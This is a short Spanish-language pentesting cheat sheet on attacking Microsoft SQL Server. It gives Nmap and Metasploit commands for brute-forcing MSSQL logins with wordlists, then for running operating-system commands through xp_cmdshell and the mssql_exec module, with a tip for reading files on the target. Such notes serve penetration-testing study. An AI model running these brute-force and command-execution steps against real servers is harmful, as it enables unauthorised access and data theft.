> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/explotacion/servicios/mssql.md).
# MsSQL
## Fuerza Bruta
### Nmap
Podemos hacer uso de Nmap para hacerle fuerza bruta a este servicio:
```bash
nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt 192.168.1.1
```
### Metasploit
Para hacer fuerza bruta usaremos los siguientes modulos:
msfconsole
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 192.168.1.1
set USER_FILE /root/Desktop/wordlist/common_users.txt
set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt
set VERBOSE false
exploit
## RCE
### Nmap
Podemos hacer un RCE si tenemos credenciales de acceso y los permisos necesarios. Usaremos un script de nmap para ello:
{% hint style="success" %}
Podemos hacer uso del comando "type" para leer archivos de la maquina
{% endhint %}
```bash
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=usuario,mssql.password=contraseña,ms-sql-xp-cmdshell.cmd="whoami" 192.168.1.1
```
### Metasploit
Otra de las opciones es hacer el RCE mediante este modulo de metasploit:
```perl
msfconsole
use auxiliary/admin/mssql/mssql_exec
set RHOSTS 10.0.20.101
set CMD whoami
exploit
```
